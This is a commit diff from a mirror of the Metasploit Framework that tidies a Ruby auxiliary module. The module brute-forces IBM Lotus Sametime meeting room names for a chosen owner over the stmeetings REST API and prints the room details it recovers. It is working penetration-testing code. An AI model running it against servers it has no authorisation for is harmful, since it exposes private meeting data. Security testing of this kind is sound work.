infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Clean ibm_sametime_room_brute code

bug/bundler_fix
jvazquez-r7 2014-01-17 15:57:12 -06:00
parent 4d079d47b8
commit 584401dc3f
1 changed files with 52 additions and 76 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

128
modules/auxiliary/gather/ibm_sametime_room_brute.rb
View File

@ -28,14 +28,14 @@ class Metasploit3 < Msf::Auxiliary
'DefaultOptions' => 'DefaultOptions' =>
{ {
'SSL' => true 'SSL' => true
}, }
)) ))
register_options( register_options(
[ [
Opt::RPORT(443), Opt::RPORT(443),
OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']), OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']),
OptPath.new('DICT', [ true, 'The path to the userinfo script', '']), OptPath.new('DICT', [ true, 'The path to the userinfo script' ]),
OptBool.new('FULLDATA', [ true, 'Output full meeting room data', true]),
OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
], self.class) ], self.class)
@ -47,8 +47,7 @@ class Metasploit3 < Msf::Auxiliary
end end
def run def run
print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}")
print_status("Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}")
print_status("Using owner: #{datastore['OWNER']}") print_status("Using owner: #{datastore['OWNER']}")
# test for expected response code on non-existant meeting room name # test for expected response code on non-existant meeting room name
@ -66,15 +65,15 @@ class Metasploit3 < Msf::Auxiliary
} }
}) })
if not res unless res
print_error("No response from server #{peer}") print_error("#{peer} - No response, timeout")
return return
end end
if res.code == 404 and res.body =~ /Room does not exist/i if res.code == 404 and res.body =~ /Room does not exist/i
vprint_status("Server responding to restapi requests as expected") vprint_status("#{peer} - Server responding to restapi requests as expected")
else else
print_error("Unexpected response from server (#{res.code}). Quitting....") print_error("#{peer} - Unexpected response from server (#{res.code}). Exiting...")
return return
end end
@ -82,16 +81,15 @@ class Metasploit3 < Msf::Auxiliary
@test_queue = Queue.new @test_queue = Queue.new
@output_lock = false @output_lock = false
File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
print_status("Loaded #{@test_queue.length} values from dictionary") vprint_status("Loaded #{@test_queue.length} values from dictionary")
print_status("Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") print_status("#{peer} - Beginning dictionary brute-force using (#{datastore['Threads']} Threads)")
test_length = 1 # initial test length set
while(not @test_queue.empty?) while(not @test_queue.empty?)
t = [] t = []
nt = datastore['Threads'].to_i nt = datastore['Threads'].to_i
nt = 1 if nt == 0 nt = 1 if nt <= 0
if @test_queue.length < nt if @test_queue.length < nt
# work around issue where threads not created as the queue isn't large enough # work around issue where threads not created as the queue isn't large enough
@ -102,16 +100,14 @@ class Metasploit3 < Msf::Auxiliary
1.upto(nt) do 1.upto(nt) do
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
Thread.current.kill if not test_current Thread.current.kill if not test_current
res = make_request(test_current) res = make_request(test_current)
if res.nil?
if res and not res.code == 404 print_error("#{peer} - Timeout from server when testing room \"#{test_current}\"")
elsif res and res.code == 404
vprint_status("#{peer} - Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
else
# check response for user data # check response for user data
check_response(res, test_current) check_response(res, test_current)
elsif res and res.code == 404
vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
else
print_error("No response from server when testing (#{test_current})")
end end
end end
end end
@ -137,28 +133,22 @@ class Metasploit3 < Msf::Auxiliary
'uri' => @reqpath, 'uri' => @reqpath,
'method' => 'GET', 'method' => 'GET',
'ctype' => 'text/html', 'ctype' => 'text/html',
'vars_get' => { 'vars_get' =>
'owner' => datastore['OWNER'], {
'permaName' => test_current 'owner' => datastore['OWNER'],
'permaName' => test_current
} }
}) })
end end
# check the response for valid room information
def check_response(res, test_current) def check_response(res, test_current)
# check the response for valid room information
begin begin
# check response exists AND that it validates as JSON before proceeding if res.code.to_i == 200
if res.code.to_i == 200 and not JSON.parse(res.body).blank? json_room = JSON.parse(res.body)
# successful response - extract room information # extract room information if there is data
extract_room_data(res, test_current) output_table(json_room, test_current) unless json_room.blank?
return true
elsif res.body =~ /Room does not exist/i
return false
else
print_error("Unexpected response received from server #{peer}")
end end
rescue JSON::ParserError rescue JSON::ParserError
# non-JSON response - server may be overloaded # non-JSON response - server may be overloaded
@ -166,53 +156,39 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def extract_room_data(res, test_current) def output_table(room_info, test_current)
unless datastore['VERBOSE']
# extract room data if not already present print_good("New meeting room found: #{test_current}")
begin return
roominfo = JSON.parse(res.body)
output_table(roominfo, test_current)
rescue JSON::ParserError
print_error("Error reading JSON string, continuing")
end end
end # print output table for discovered meeting rooms
roomtbl = Msf::Ui::Console::Table.new(
def output_table(roominfo, test_current) Msf::Ui::Console::Table::Style::Default,
'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}",
if datastore['FULLDATA'] 'Prefix' => "",
'Postfix' => "\n",
# print output table for discovered meeting rooms 'Indent' => 1,
'Columns' =>
roomtbl = Msf::Ui::Console::Table.new( [
Msf::Ui::Console::Table::Style::Default,
'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}",
'Prefix' => "",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>[
"Key", "Key",
"Value" "Value"
]) ]
)
roominfo['results'][0].each do | k,v | room_info['results'][0].each do |k, v|
if v.is_a?(Hash) if v.is_a?(Hash)
# breakdown Hash # breakdown Hash
roomtbl << [ k.to_s, '>>' ] # title line roomtbl << [ k.to_s, '>>' ] # title line
v.each do | subk, subv | v.each do | subk, subv |
roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty? roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty?
end end
else else
roomtbl << [ k.to_s, v.to_s || "-"] if not v.nil? roomtbl << [ k.to_s, v.to_s || "-"] unless v.nil?
end
end end
# output table
print_good(roomtbl.to_s)
else
print_good("New meeting room found: #{test_current}")
end end
# output table
print_good(roomtbl.to_s)
end end